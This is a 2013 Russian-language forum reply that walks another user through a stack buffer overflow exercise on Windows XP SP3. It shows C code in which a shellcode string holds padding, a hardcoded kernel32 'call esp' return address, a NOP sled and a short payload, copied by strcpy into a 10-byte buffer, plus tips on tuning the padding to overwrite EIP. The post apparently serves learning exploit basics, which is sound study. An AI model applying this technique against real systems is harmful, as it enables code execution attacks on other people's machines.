
15.02.2013, 03:42
|
|
Познающий
Регистрация: 28.05.2012
Сообщений: 36
С нами:
7346486
Репутация:
2
|
|
Вот так тебе нужно сделать:
Код:
#include
#include
char shellcode[] =
"\x35\x35\x35\x35"
"\x35\x35\x35\x35"
"\x35\x35\x35\x35"
"\x35\x35\x35\x35"
"\x35\x35\x35\x35"
"\x35\x35\x35\x35"
"\x35\x35\x35\x35"
"\xf0\x69\x83\x7c" // call esp in Kernel32
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x31\xc0" // твой код
"\xbb\x46\x24\x80" //
"\x7c\x66\xb8\x98" //
"\x3a\x50\xff\xd3"; //
int main (int argc, char **argv) {
char buf[10];
memset (buf, 0, sizeof(buf));
strcpy(buf, shellcode);
return 0;
}
где shellcode - строка которую тебе нужно сгенерировать в твоей первой программе.
PS. Я уменьшил длину массива до 10 байт, если тебе обязательно нужно больше, то увеличивай первую секцию шеллкода (до call esp) пока регистр EIP не перетрется нашем адресом и всё.
PPS. Адрес интсрукции call ESP может у нас отличаться. У меня Windows XP SP3 En x86
|
|
|